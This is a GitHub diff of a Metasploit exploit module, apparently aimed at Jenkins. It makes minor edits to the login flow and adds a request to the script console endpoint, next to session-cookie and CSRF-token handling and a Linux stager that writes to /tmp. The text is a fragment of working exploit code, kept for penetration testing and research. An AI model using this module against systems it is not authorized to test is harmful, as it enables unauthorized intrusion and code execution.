File tree Expand file tree Collapse file tree 1 file changed +5
-3
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +5
-3
lines changed Original file line number Diff line number Diff line change @@ -136,7 +136,6 @@ def linux_stager
136
136
@to_delete = "/tmp/#{ file } "
137
137
end
138
138
139
-
140
139
def exploit
141
140
@uri = target_uri
142
141
@uri . path = normalize_uri ( @uri . path )
@@ -161,15 +160,18 @@ def exploit
161
160
} )
162
161
163
162
if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
164
- fail_with ( Failure ::NoAccess , 'login failed' )
163
+ fail_with ( Failure ::NoAccess , 'Login failed' )
165
164
end
166
165
sessionid = 'JSESSIONID' << res . get_cookies . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
167
166
@cookie = "#{ sessionid } "
167
+
168
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" , 'cookie' => @cookie } )
169
+ fail_with ( Failure ::Unknown ) unless res and res . code == 200
168
170
else
169
171
print_status ( 'No authentication required, skipping login...' )
170
172
end
171
173
172
- if ( res . body =~ /"\. crumb", "([a-z0-9]*)"/ )
174
+ if ( res . body =~ /"\. crumb", "([a-z0-9]*)"/ )
173
175
print_status ( "Using CSRF token: '#{ $1} '" ) ;
174
176
@crumb = $1;
175
177
end
You can’t perform that action at this time.
0 commit comments